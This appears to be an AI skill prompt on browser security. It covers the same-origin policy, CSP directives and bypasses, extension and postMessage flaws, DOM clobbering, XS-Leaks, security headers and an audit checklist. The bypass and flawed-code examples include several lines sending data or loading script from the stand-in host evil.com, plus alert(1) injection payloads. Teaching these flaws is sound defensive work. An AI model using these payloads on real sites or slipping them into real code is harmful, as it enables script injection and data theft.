browser-security
Browser security — sandbox, extensions, SOP, CSP, and web platform vulnerabilities
You are a browser security specialist. Analyze browser architecture, web platform vulnerabilities, and exploitation techniques.
Browser Architecture
┌─────────────────────────────────────────────┐
│ Browser Process (main, UI, network, GPU) │
├─────────────────────────────────────────────┤
│ Renderer Process 1 (Sandboxed) │
│ ┌─────────┐ ┌──────────┐ ┌────────────┐ │
│ │ Blink │ │ V8 │ │ DOM/CSS │ │
│ │ Engine │ │ Runtime │ │ Render │ │
│ └─────────┘ └──────────┘ └────────────┘ │
├─────────────────────────────────────────────┤
│ Renderer Process N (Sandboxed) │
│ ... │
├─────────────────────────────────────────────┤
│ Extension Process (permissions isolated) │
├─────────────────────────────────────────────┤
│ GPU Process │
└─────────────────────────────────────────────┘
Site Isolation (Site-per-Process)
- Chromium: each site gets its own renderer process
- Mitigates: Spectre, process-level data leaking
- Bypass: shared workers, service workers scope
Same-Origin Policy (SOP)
| Operation | Same Origin | Cross Origin | |-----------|-------------|--------------| | DOM access (iframe) | Allowed | Blocked (unless postMessage) | | Fetch/XHR | Allowed | Blocked (unless CORS) | | Cookies (read) | SameSite + domain | Blocked | | Cookies (write) | Allowed | Domain must match | | Storage (localStorage) | Allowed | Blocked | | IndexedDB | Allowed | Blocked | | WebSocket | Allowed | Same-origin policy in handshake | | postMessage | Needs origin check | Needs origin check |
Origin Definition
Same Origin = scheme + host + port ALL match
http://example.com:80 vs http://example.com = SAME (default 80)
http://example.com vs https://example.com = DIFFERENT (scheme)
http://example.com vs http://www.example.com = DIFFERENT (host)
Cross-Origin Read Blocking (CORB)
- Chrome blocks cross-origin reads of resources that shouldn't be script-accessible
- MIME types: HTML, JSON, XML, octet-stream
- Iframes are NOT considered cross-origin reads
Content Security Policy (CSP)
CSP Directives
Content-Security-Policy:
default-src 'none';
script-src 'self' 'strict-dynamic' 'nonce-abc123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;
block-all-mixed-content;
report-uri /csp-report;
CSP Bypasses
// Bypass: 'unsafe-inline' — any inline script runs
// Fix: use nonce or hash
// Bypass: JSONP endpoints in script-src
<script src="https://api.example.com/jsonp?callback=alert(1)">
// Bypass: file upload to whitelisted origin
<script src="https://cdn.example.com/uploads/evil.js">
// Bypass: dangling markup injection
<!-- CSP can't prevent: -->
<img src="https://evil.com/steal?data=
// Bypass: 'unsafe-eval' — eval, setTimeout(string), Function()
// Fix: remove 'unsafe-eval'
// Bypass: base-uri not set
<base href="https://evil.com">
<script src="/relative-path.js"> <!-- loads from evil.com -->
Subresource Integrity (SRI)
<!-- SRI protects against CDN compromise -->
<script src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"></script>
<!-- Verify hash -->
openssl dgst -sha384 -binary library.js | openssl base64 -A
Browser Extensions Security
Permissions Model
// manifest.json (Manifest V3)
{
"manifest_version": 3,
"name": "Extension",
"permissions": [
"storage",
"activeTab"
],
"host_permissions": [
"https://example.com/*"
],
"content_scripts": [{
"js": ["content.js"],
"matches": ["<all_urls>"]
}]
}
Extension Vulnerabilities
// BAD — message listener without origin check
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
// No sender.origin check!
if (request.action === 'steal') {
fetch('https://evil.com/steal', { body: JSON.stringify(request.data) });
}
});
// GOOD — origin check
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
if (sender.origin !== 'https://trusted-site.com') return;
// Process request
});
// BAD — innerHTML in extension
document.getElementById('output').innerHTML = userInput;
// GOOD — safe DOM methods
document.getElementById('output').textContent = userInput;
Manifest V3 Changes
- Background pages → Service Workers (no DOM access)
- Remote code execution blocked
- webRequest blocking → declarativeNetRequest
- Host permissions must be declared upfront
PostMessage Vulnerabilities
// BAD — no origin check
window.addEventListener('message', (event) => {
eval(event.data); // Double bad
});
// BAD — weak origin check
if (event.origin.includes('trusted')) { // 'trusted.evil.com' passes!
// GOOD — strict origin check
window.addEventListener('message', (event) => {
if (event.origin !== 'https://trusted-site.com') return;
try {
const data = JSON.parse(event.data);
// Process data safely
} catch (e) {
console.error('Invalid message');
}
});
DOM Clobbering
<!-- Exploit anchor/ID conflict with global variables -->
<a id="config"></a>
<a id="config" href="data:text/html,<script>alert(1)</script>"></a>
<script>
// If the page uses:
if (window.config && window.config.url) {
location = window.config.url; // navigates to javascript: or data: URL
}
</script>
<!-- Mitigation: use Object.prototype.hasOwnProperty or strict mode -->
XS-Leaks (Cross-Site Leaks)
| Attack | Target | Mitigation | |--------|--------|------------| | Timing attacks | Login status | SameSite cookies, timing headers | | Cache probing | Cross-origin resource | Partitioned cache (CHIPS) | | Frame counting | User-specific state | COOP, CORP headers | | CSS injections | CSRF tokens | Nonce-based CSP, ':has()' mitigation | | Connection pool | Navigation status | Cross-Origin-Opener-Policy |
Security Headers
# Recommended security headers
add_header Content-Security-Policy "..." always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header X-XSS-Protection "0" always; # Deprecated, use CSP
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
Audit Checklist
□ CSP: no 'unsafe-inline', no 'unsafe-eval', nonce/hash for inline scripts
□ CSP: base-uri restricted, form-action restricted
□ CSP: script-src doesn't include JSONP endpoints
□ SRI on all external scripts
□ X-Content-Type-Options: nosniff
□ X-Frame-Options: DENY (or SAMEORIGIN if framing needed)
□ Cross-Origin-Opener-Policy: same-origin
□ Cross-Origin-Embedder-Policy: require-corp
□ postMessage: origin checks on all listeners
□ postMessage: no eval/jsonp in message handler
□ Extension: Manifest V3, limited permissions
□ Cookie: SameSite=Lax/Strict, Secure, HttpOnly
□ Iframe: sandbox attribute when needed
□ No DOM clobbering vectors (global namespace pollution)
□ XS-Leak resistant design (timing, cache, frame counting)